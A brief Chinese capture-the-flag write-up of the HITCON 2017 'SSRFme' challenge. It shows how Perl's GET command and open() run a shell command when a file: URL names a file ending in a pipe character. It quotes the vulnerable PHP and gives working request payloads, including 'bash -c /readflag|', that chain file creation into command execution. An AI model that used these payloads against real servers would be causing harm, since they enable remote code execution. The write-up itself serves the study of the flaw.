[HITCON 2017]SSRFme perl语言的 GET open file 造成rce

这里记录学习一下 perl的open缺陷

这里首先本地测试一下

发现这里使用open打开的时候如果通过管道符就会实现命令执行

然后这里注意的是 perl 中的get 调用了 open的参数所以其实我们可以通过管道符实现命令执行

然后这里如果file可控那么就继续可以实现命令执行

这里就是 open支持file协议

file协议加上| 可以将文件名作为shell输出

复制代码

touch 'id|'

GET 'file:id|'

类似这种

然后我们可以开始做这个题目

复制代码

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));

这里是内容我们输入通过GET url 可以实现写入一个文件

这里考的其实就是

我们通过filename生成一个shell文件（名字为shell）

然后通过（GET filename）这种形式实现命令执行然后再写入一个文件

这里可能比较抽象我们来本地测试一下

这里我们首先可以通过

复制代码

    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);

这种确定是perl语言

然后

我们首先传入

复制代码

url=123&filename=ls|   //目的创建一个shell名字的文件


然后

url=file:ls|&filename=1.txt  // 通过file协议和| 让ls不做为文件名 而变为shell

首先了命令执行

然后

这里可以发现是一个二进制文件无法获取flag 我们通过 bash开启操作即可

复制代码

?url=123|&filename=bash -c /readflag|

/?url=file:bash -c /readflag|&filename=1.txt

然后我们就获取到了flag 这里或者可以通过反弹shell实现但是麻烦了